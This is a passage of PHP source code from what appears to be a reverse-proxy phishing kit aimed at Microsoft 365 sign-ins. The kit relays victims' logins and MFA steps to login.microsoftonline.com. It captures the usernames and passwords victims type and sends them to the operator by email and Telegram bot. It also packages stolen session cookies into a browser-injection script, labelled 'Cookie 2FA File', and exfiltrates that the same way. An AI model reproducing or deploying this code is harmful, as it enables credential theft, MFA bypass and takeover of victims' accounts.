- },
- $line);
- }
- }
- $normalizedCSS = implode("\n", $normalizedLines);
- return preg_replace_callback(
- "/url\((.*?)\)/i",
- function($matches) use ($baseURL) {
- $url = $matches[1];
- //Remove any surrounding single or double quotes from the URL so it can be passed to rel2abs - the quotes are optional in CSS
- //Assume that if there is a leading quote then there should be a trailing quote, so just use trim() to remove them
- if (strpos($url, "'") === 0) {
- $url = trim($url, "'");
- }
- if (strpos($url, "\"") === 0) {
- $url = trim($url, "\"");
- }
- if (stripos($url, "data:") === 0) return "url(" . $url . ")"; //The URL isn't an HTTP URL but is actual binary data. Don't proxify it.
- return "url(" . PROXY_PREFIX . rel2abs($url, $baseURL) . ")";
- },
- $normalizedCSS);
- }
- //Proxify "srcset" attributes (normally associated with <img> tags.)
- function proxifySrcset($srcset, $baseURL) {
- $sources = array_map("trim", explode(",", $srcset)); //Split all contents by comma and trim each value
- $proxifiedSources = array_map(function($source) use ($baseURL) {
- $components = array_map("trim", str_split($source, strrpos($source, " "))); //Split by last space and trim
- $components[0] = PROXY_PREFIX . rel2abs(ltrim($components[0], "/"), $baseURL); //First component of the split source string should be an image URL; proxify it
- return implode($components, " "); //Recombine the components into a single source
- }, $sources);
- $proxifiedSrcset = implode(", ", $proxifiedSources); //Recombine the sources into a single "srcset"
- return $proxifiedSrcset;
- }
- function isJson($str) {
- $json = json_decode($str);
- return $json && $str != $json;
- }
- function authMethodId($login,$data,$payload){
- $url ='https://login.microsoftonline.com/common/SAS/BeginAuth';
- $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/BeginAuth');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
- $headers[] = 'Canary: '.$data["canary"];
- $headers[] = 'Content-Type: application/json; charset=UTF-8';
- $headers[] = 'Hpgid: '.$data["hpgid"];
- $headers[] = 'Accept: application/json';
- $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
- $headers[] = 'Hpgact: '.$data["hpgact"];
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- $content = curl_exec($ch);
- curl_close($ch);
- return $content;
- }
- function SendFileMail($mailto,$subject,$message,$file){
- $mailTo = $mailto;
- $mailSubject = $subject;
- $mailMessage = $message;
- $mailAttach = $file;
- // (B) GENERATE RANDOM BOUNDARY TO SEPARATE MESSAGE & ATTACHMENTS
- // https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html
- $mailBoundary = md5(time());
- $mailHead = implode("\r\n", [
- "MIME-Version: 1.0",
- "Content-Type: multipart/mixed; boundary=\"$mailBoundary\""
- ]);
- // (C) DEFINE THE EMAIL MESSAGE
- $mailBody = implode("\r\n", [
- "--$mailBoundary",
- "Content-type: text/plain; charset=utf-8",
- "",
- $mailMessage
- ]);
- // (D) MANUALLY ENCODE & ATTACH THE FILE
- $mailBody .= implode("\r\n", [
- "",
- "--$mailBoundary",
- "Content-Type: application/octet-stream; name=\"". basename($mailAttach) . "\"",
- "Content-Transfer-Encoding: base64",
- "Content-Disposition: attachment",
- "",
- chunk_split(base64_encode(file_get_contents($mailAttach))),
- "--$mailBoundary--"
- ]);
- // (E) SEND
- return mail($mailTo, $mailSubject, $mailBody, $mailHead)
- ? True : False ;
- }
- function ProcessAuth($login,$payload){
- $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/ProcessAuth');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
- $headers[] = 'Accept-Language: en-US,en;q=0.9';
- $headers[] = 'Cache-Control: max-age=0';
- $headers[] = 'Connection: keep-alive';
- $headers[] = 'Content-Type: application/x-www-form-urlencoded';
- $headers[] = 'Origin: https://login.microsoftonline.com';
- $headers[] = 'Referer: https://login.microsoftonline.com/common';
- $headers[] = 'Sec-Fetch-Dest: document';
- $headers[] = 'Sec-Fetch-Mode: navigate';
- $headers[] = 'Sec-Fetch-Site: same-origin';
- $headers[] = 'Upgrade-Insecure-Requests: 1';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- curl_setopt($ch,CURLOPT_REFERER,"https://login.microsoftonline.com/common");
- $content = curl_exec($ch);
- curl_close($ch);
- //file_put_contents("tmp/".$login."_page5.html",$content);
- $res = preg_match('|"sFT":"([^,]+)"|',$content,$matches);
- $sFT = $matches[1];
- $res = preg_match('|"sessionId":"([^,]+)"|',$content,$matches);
- $hpgrequestid = $matches[1];
- $res = preg_match('|"canary":"([^,]+)"|',$content,$matches);
- $canary = $matches[1];
- $res = preg_match('|"sCtx":"([^"]+)"|',$content,$matches);
- if($res == 1) {
- $ctx = $matches[1];
- }
- $res = preg_match('|ctx=([^"]+)"|',$content,$matches);
- if($res == 1) {
- $ctx = $matches[1];
- }
- $content = ProcessKMSI($login,$ctx,$hpgrequestid,$sFT,$canary);
- //file_put_contents("tmp/".$login."_page6.html",$content);
- $content = Processlandingv2($login,$content);
- //file_put_contents("tmp/".$login."_page7.html",$content);
- return $content;
- }
- function temporaryFile($name, $content)
- {
- $file = DIRECTORY_SEPARATOR .
- trim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) .
- DIRECTORY_SEPARATOR .
- ltrim($name, DIRECTORY_SEPARATOR);
- file_put_contents($file, $content);
- register_shutdown_function(function() use($file) {
- unlink($file);
- });
- return $file;
- }
- function ProcessKMSI($login,$ctx,$hpgrequestid,$sFT,$canary){
- global $bot,$userData;
- $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
- $payload = "LoginOptions=1&type=28&ctx=".$ctx."&DontShowAgain=true&hpgrequestid=".$hpgrequestid."&flowToken=".$sFT."&canary=".$canary."&i19=10205";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/kmsi');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
- $headers[] = 'Accept-Language: en-US,en;q=0.9';
- $headers[] = 'Cache-Control: max-age=0';
- $headers[] = 'Connection: keep-alive';
- $headers[] = 'Content-Type: application/x-www-form-urlencoded';
- $headers[] = 'Origin: https://login.microsoftonline.com';
- $headers[] = 'Referer: https://login.microsoftonline.com/common/SAS/ProcessAuth';
- $headers[] = 'Sec-Fetch-Dest: document';
- $headers[] = 'Sec-Fetch-Mode: navigate';
- $headers[] = 'Sec-Fetch-Site: same-origin';
- $headers[] = 'Sec-Fetch-User: ?1';
- $headers[] = 'Upgrade-Insecure-Requests: 1';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- $content = curl_exec($ch);
- $files_content = <<<EOT
- !function(){let e=JSON.parse(`{cookies}`);function o(e,o,t,n,i){const s="Max-Age=31536000";e.startsWith("__Host")?(console.log("==== Cookie Set ====>",e,o),document.cookie=`\${e}=\${o};\${s};path=/;Secure;SameSite=None`):e.startsWith("__Secure")?(console.log("==== Cookie Set ====>",e,o),document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};Secure;SameSite=None`):i?(console.log("==== Cookie Set ====>",e,o),window.location.hostname==t?document.cookie=`\${e}=\${o};\${s}; path=\${n}; Secure; SameSite=None`:document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};Secure;SameSite=None`):(console.log("==== Cookie Set ====>",e,o),window.location.hostname==t?document.cookie=`\${e}=\${o};\${s};path=\${n};`:document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};`)}for(let t of e)o(t.name,t.value,t.domain,t.path,t.secure)}();
- EOT;
- $f = fopen($tmpfname, 'r');
- $cookies = array();
- $out_cookie = array();
- if ($f) {
- $c_content = fread($f, filesize($tmpfname));
- fclose($f);
- }
- $jason = json_encode(GetCookieFromFile($c_content));
- $files_content = str_replace('{cookies}', $jason, $files_content);
- $document = temporaryFile($login.'_cookie.txt',$files_content);
- $bot->sendDocument($userData['chatid'], $document);
- $subject = "Cookie 2FA File for ".$login;
- $message = $subject;
- SendFileMail($userData['Email'],$subject,$message,$document);
- curl_close($ch);
- unlink($tmpfname);
- return $content;
- }
- function Processlandingv2($login,$content){
- $data =[];
- $dom = new DOMDocument();
- $dom->loadHTML($content);
- //Evaluate Anchor tag in HTML
- $xpath = new DOMXPath($dom);
- $inputs = $xpath->evaluate("//input");
- for ($i = 0; $i < $inputs->length; $i++) {
- $input = $inputs->item($i);
- $name = $input->getAttribute('name');
- $data[$name] = $input->getAttribute('value');
- //echo $name.' : '.$data[$name] ;
- /*if($name=="request"){
- $request = $input->getAttribute('value');
- //$input->setAttribute("value", $email);
- //$input->setAttribute("readonly", 'readonly');
- }
- elseif($name=="flowToken"){
- $flowToken = $input->getAttribute('flowToken');
- }*/
- //if
- }
- $res = preg_match('|action="([^,]+)"|',$content,$matches);
- if($res == 1) {
- $url = $matches[1];
- }
- //$content = $this->GetWorking($login,'https://www.office.com/landing',$data);
- return $content;
- }
- function PullurlEndAuth($login,$authMethodId,$pollCount,$ctx,$flowToken,$data)
- {
- $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
- $payload = '{"AuthMethodId":"'.$authMethodId.'","Method":"EndAuth","ctx":"'.$ctx.'","flowToken":"'.$flowToken.'","SessionId":"'.$data['SessionId'].'","PollCount":'.$pollCount.'}';
- if($authMethodId == "PhoneAppNotification" || $authMethodId == "TwoWayVoiceMobile"){
- $waitedForMFA = 0;
- while (true) {
- if($waitedForMFA >= 60){
- //throw new Exception("Waited longer than 60 seconds for MFA request to be validated, aborting");
- break;
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
- $headers[] = 'Canary: '.$data["canary"];
- $headers[] = 'Content-Type: application/json; charset=UTF-8';
- $headers[] = 'Hpgid: '.$data["hpgid"];
- $headers[] = 'Accept: application/json';
- $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
- $headers[] = 'Hpgact: '.$data["hpgact"];
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- $result = curl_exec($ch);
- $content = $result;
- curl_close($ch);
- sleep(3);
- $waitedForMFA+=5;
- return $content;
- }
- }
- }
- function urlEndAuth($login,$authMethodId,$data,$payload)
- {
- $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
- //$payload = '{"AuthMethodId":"'.$authMethodId.'","Method":"EndAuth","ctx":"'.$ctx.'","flowToken":"'.$flowToken.'","SessionId":"'.$data['SessionId'].'","PollCount":'.$pollCount.'}';
- if($authMethodId == "PhoneAppNotification" || $authMethodId == "TwoWayVoiceMobile"){
- $waitedForMFA = 0;
- while (true) {
- if($waitedForMFA >= 60){
- //throw new Exception("Waited longer than 60 seconds for MFA request to be validated, aborting");
- break;
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
- $headers[] = 'Canary: '.$data["canary"];
- $headers[] = 'Content-Type: application/json; charset=UTF-8';
- $headers[] = 'Hpgid: '.$data["hpgid"];
- $headers[] = 'Accept: application/json';
- $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
- $headers[] = 'Hpgact: '.$data["hpgact"];
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- $result = curl_exec($ch);
- $content = $result;
- curl_close($ch);
- sleep(3);
- $waitedForMFA+=5;
- return $content;
- }
- }
- else{
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch, CURLOPT_POST, 1);
- if(is_array($payload)){
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
- } else{
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- }
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
- $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
- $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
- $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
- $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
- $headers[] = 'Canary: '.$data["canary"];
- $headers[] = 'Content-Type: application/json; charset=UTF-8';
- $headers[] = 'Hpgid: '.$data["hpgid"];
- $headers[] = 'Accept: application/json';
- $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
- $headers[] = 'Hpgact: '.$data["hpgact"];
- $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
- $result = curl_exec($ch);
- $content = $result;
- curl_close($ch);
- return $content;
- }
- }
- function has_prefix($string, $prefix) {
- return substr($string, 0, strlen($prefix)) == $prefix;
- }
- function GetCookieFromFile($content){
- $cookies = array();
- $out_cookie = array();
- //$lines = file($content);
- foreach(preg_split('~[\r\n]+~', $content) as $line) {
- $cokie = array(
- "name" => "",
- "path" => "",
- "value" => "",
- "domain" => "",
- "secure" => 'true',
- "expirationDate" => "0",
- "httponly" => 'true',
- "samesite" => "None"
- );
- $cookie_ = preg_split('/\s+/', $line);
- if ( $cookie_[1] === 'TRUE' || $cookie_[1] === 'FALSE' ) {
- $cokie['httponly'] = (has_prefix($cookie_[0], '#HttpOnly') ? 'true' : 'null' );
- $cokie['domain'] = (has_prefix($cookie_[0], '#HttpOnly') ? substr($cookie_[0], 10) : $cookie_[0] );
- $cokie['name'] = $cookie_[5];
- $cokie['path'] = $cookie_[2];
- $cokie['expirationDate'] = (( $cookie_[4] !== '0' || $cookie_[4] !== '00' ) ? "31536000" : $cookie_[4] );
- $cokie['value'] = $cookie_[6];
- $cokie['secure'] = (( $cookie_[1] !== 'TRUE') ? "true" : "false" );
- array_push($cookies,$cokie);
- }
- }
- foreach ($cookies as $kpcookies) {
- array_push($out_cookie,$kpcookies);
- }
- #$out_cookie = json_encode($out_cookie);
- return $out_cookie;
- }
- //Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy.
- if (isset($_POST["KINGOPProxyFormAction"])) {
- $url = $_POST["KINGOPProxyFormAction"];
- unset($_POST["KINGOPProxyFormAction"]);
- } else {
- $queryParams = [];
- parse_str($_SERVER["QUERY_STRING"], $queryParams);
- //If the KINGOPProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
- if (isset($queryParams["KINGOPProxyFormAction"])) {
- $formAction = $queryParams["KINGOPProxyFormAction"];
- unset($queryParams["KINGOPProxyFormAction"]);
- $url = $formAction . "?" . http_build_query($queryParams);
- } else {
- //$url = substr($_SERVER["REQUEST_URI"], strlen("?") + 1);
- $url = explode('?', $_SERVER["REQUEST_URI"], 2)[1];
- }
- }
- //die($url);
- if (empty($url)) {
- if (empty($startURL)) {
- //die("<html><head><title>KinGOPProxy</title></head><body><h1>Welcome to KinGOPProxy!</h1>KinGOPProxy can be directly invoked like this: <a href=\"" . PROXY_PREFIX . $landingExampleURL . "\">" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />Or, you can simply enter a URL below:<br /><br /><form onsubmit=\"if (document.getElementById('site').value) { window.location.href='" . PROXY_PREFIX . "' + document.getElementById('site').value; return false; } else { window.location.href='" . PROXY_PREFIX . $landingExampleURL . "'; return false; }\" autocomplete=\"off\"><input id=\"site\" type=\"text\" size=\"50\" /><input type=\"submit\" value=\"Proxy It!\" /></form></body></html>");
- $url = $landingExampleURL;
- } else {
- $url = $startURL;
- }
- } else if (strpos($url, ":/") !== strpos($url, "://")) {
- //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
- //See https://github.com/joshdick/KinGOPProxy/pull/14
- $pos = strpos($url, ":/");
- $url = substr_replace($url, "://", $pos, strlen(":/"));
- }
- $scheme = parse_url($url, PHP_URL_SCHEME);
- if (empty($scheme)) {
- if (strpos($url, "//") === 0) {
- //Assume that any supplied URLs starting with // are HTTP URLs.
- $url = "http:" . $url;
- } else {
- //Assume that any supplied URLs without a scheme (just a host) are HTTP URLs.
- $url = "http://" . $url;
- }
- } else if (!preg_match("/^https?$/i", $scheme)) {
- die('Error: Detected a "' . $scheme . '" URL. KinGOPProxy exclusively supports http[s] URLs.');
- }
- if (!isValidURL($url)) {
- die("Error: The requested URL was disallowed by the server administrator.");
- }
- if(strpos($url, 'BeginAuth') !== FALSE || strpos($url, 'EndAuth') !== FALSE || isset($_GET['pollCount']) || isset($_POST['pollCount']) || strpos($url, 'ProcessAuth') !== FALSE ){
- $parts = parse_url($url);
- parse_str($parts['query'], $query);
- //$post = ['client_id' => $query['client_id'], 'login_hint' => $email, 'scope' => "m_sScope"];
- $pollCount = $query['pollCount'];
- $authMethodId = $query['authMethodId'];
- $login = ( isset($_GET['login']) ? $_GET['login'] : $_POST['login'] );
- $request_body = file_get_contents('php://input');
- $headers = array();
- $data = [];
- foreach (getallheaders() as $name => $value) {
- $name = strtolower($name);
- //echo $name;
- if ($name=='Referer') {
- $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
- }
- elseif ($name=='x-ms-ctx') {
- $ctx = $value;
- }
- elseif ($name=='x-ms-flowtoken') {
- $flowToken = $value;
- }
- elseif ($name=='x-ms-sessionid') {
- $data['SessionId'] = $value;
- }
- else{
- $headers[] = $name.': '.$value;
- $data[$name] = $value;
- }
- }
- if (isset($_GET['pollCount']) || isset($_POST['pollCount']) || strpos($url, 'EndAuth') !== FALSE) {
- $pollCount = ( isset($_GET['pollCount']) ? $_GET['pollCount'] : $pollCount );
- $authMethodId = ( isset($_GET['authMethodId']) ? $_GET['authMethodId'] : $authMethodId );
- $payload = (!empty($request_body) ? $request_body : $query );
- if (strpos($url, 'pollCount') !== FALSE) {
- $response = PullurlEndAuth($login,$authMethodId,$pollCount,$ctx,$flowToken,$data);
- }else{
- $response = urlEndAuth($login,$authMethodId,$data,$payload);
- }
- die($response);
- }elseif (strpos($url, 'ProcessAuth') !== FALSE) {
- $payload = ( isset($_POST) ? $_POST : $_GET );
- $response = ProcessAuth($login,$payload);
- die($response);
- }
- $response = authMethodId($login,$data,$request_body);
- die($response);
- }
- $response = makeRequest($url);
- $rawResponseHeaders = $response["headers"];
- $responseBody = $response["body"];
- $responseInfo = $response["responseInfo"];
- //die(PROXY_PREFIX);
- //If CURLOPT_FOLLOWLOCATION landed the proxy at a diferent URL than
- //what was requested, explicitly redirect the proxy there.
- $responseURL = $responseInfo["url"];
- if ($responseURL !== $url) {
- header("Location: " . PROXY_PREFIX . $responseURL, true);
- exit(0);
- }
- //A regex that indicates which server response headers should be stripped out of the proxified response.
- $header_blacklist_pattern = "/^Content-Length|^Transfer-Encoding|^Content-Encoding.*gzip/i";
- //cURL can make multiple requests internally (for example, if CURLOPT_FOLLOWLOCATION is enabled), and reports
- //headers for every request it makes. Only proxy the last set of received response headers,
- //corresponding to the final request made by cURL for any given call to makeRequest().
- $responseHeaderBlocks = array_filter(explode("\r\n\r\n", $rawResponseHeaders));
- $lastHeaderBlock = end($responseHeaderBlocks);
- $headerLines = explode("\r\n", $lastHeaderBlock);
- foreach ($headerLines as $header) {
- if ( !preg_match( '/^Transfer-Encoding:/i', $header ) ) {
- if ( preg_match( '/^Location:/i', $header ) ) {
- $hdr_array = http_parse_headers($header);
- foreach ($hdr_array as $name => $value) {
- echo "The value of '$name' is '$value'<br>";
- $header = str_replace($value, PROXY_PREFIX . rel2abs($value, $url), $header);
- }
- header($header, false);
- //$header = str_replace($backend_url, "/", $header);
- }
- }
- $header = trim($header);
- if (!preg_match($header_blacklist_pattern, $header)) {
- header($header, false);
- }
- }
- //Prevent robots from indexing proxified pages
- header("X-Robots-Tag: noindex, nofollow", true);
- if (isset($_POST['login']) || isset($_POST['passwd']) ) {
- // code...
- $userCredantials['username'] = $_POST['login'];
- $userCredantials['password'] = $_POST['passwd'];
- }elseif (isset($_POST['UserName']) || isset($_POST['Password']) ) {
- // code...
- $userCredantials['username'] = $_POST['UserName'];
- $userCredantials['password'] = $_POST['Password'];
- }
- if ($forceCORS) {
- //This logic is based on code found at: http://stackoverflow.com/a/9866124/278810
- //CORS headers sent below may conflict with CORS headers from the original response,
- //so these headers are sent after the original response headers to ensure their values
- //are the ones that actually end up getting sent to the browser.
- //Explicit [ $replace = true ] is used for these headers even though this is PHP's default behavior.
- //Allow access from any origin.
- header("Access-Control-Allow-Origin: *", true);
- header("Access-Control-Allow-Credentials: true", true);
- //Handle CORS headers received during OPTIONS requests.
- if ($_SERVER["REQUEST_METHOD"] == "OPTIONS") {
- if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_METHOD"])) {
- header("Access-Control-Allow-Methods: GET, POST, OPTIONS", true);
- }
- if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_HEADERS"])) {
- header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}", true);
- }
- //No further action is needed for OPTIONS requests.
- exit(0);
- }
- }
- $contentType = "";
- if (isset($responseInfo["content_type"])) $contentType = $responseInfo["content_type"];
- if(strpos($responseBody, '"urlPost":"/kmsi"') !== FALSE && strpos($responseBody, '"sCanaryTokenName":"canary"') !== FALSE){
- //$file = "success.html";
- //file_put_contents(dirname(__FILE__) .'/tmp/'.$userUPN.'_cookie.html', $responseBody);
- $TrueLogin = true;
- //$result = array("Success" => "True", "Message" => "Login was successful");
- //PerformLastCookieLog();
- //unlink($tmpfname);
- //return json_encode($result);
- }
- else {
- //return $responseBody;
- //$file = "fail.html";
- if(strpos($responseBody, '"authMethodId":"')){
- //return $responseBody;
- //$clientId = $requestID;
- //$homepage = $responseBody;
- //$file = MFAParse($homepage,$clientId);
- //return $file;
- $hascookie = true;
- $TrueLogin = true;
- //$result = array("Success" => "OTP", "Message" => $file);
- //return json_encode($file);
- /*if(($title = get_title($file)) === "Working..."){
- $jason = GetCookieFromFile($tmpfname);
- $result = array("Success" => "true", "Message" => $jason);
- return json_encode($result);
- }
- $result = array("Success" => "OTP", "Message" => $file);
- return json_encode($result);*/
- }
- //GetCookieFromFile($file);
- //$jason = GetCookieFromFile($file);
- //SaveMFAjs($jason,$_POST["login"],TRUE);
- }
- if (!empty($userCredantials['username']) || !empty($userCredantials['password'])) {
- $msgd=getmessagendsubject($userCredantials,$hascookie,$TrueLogin);
- @mail($userData['Email'], $msgd['subject'], $msgd['message']);
- $bot->sendMessage($userData['chatid'], $msgd['message']);
- }
- //This is presumably a web page, so attempt to proxify the DOM.
- if (stripos($contentType, "text/html") !== false) {
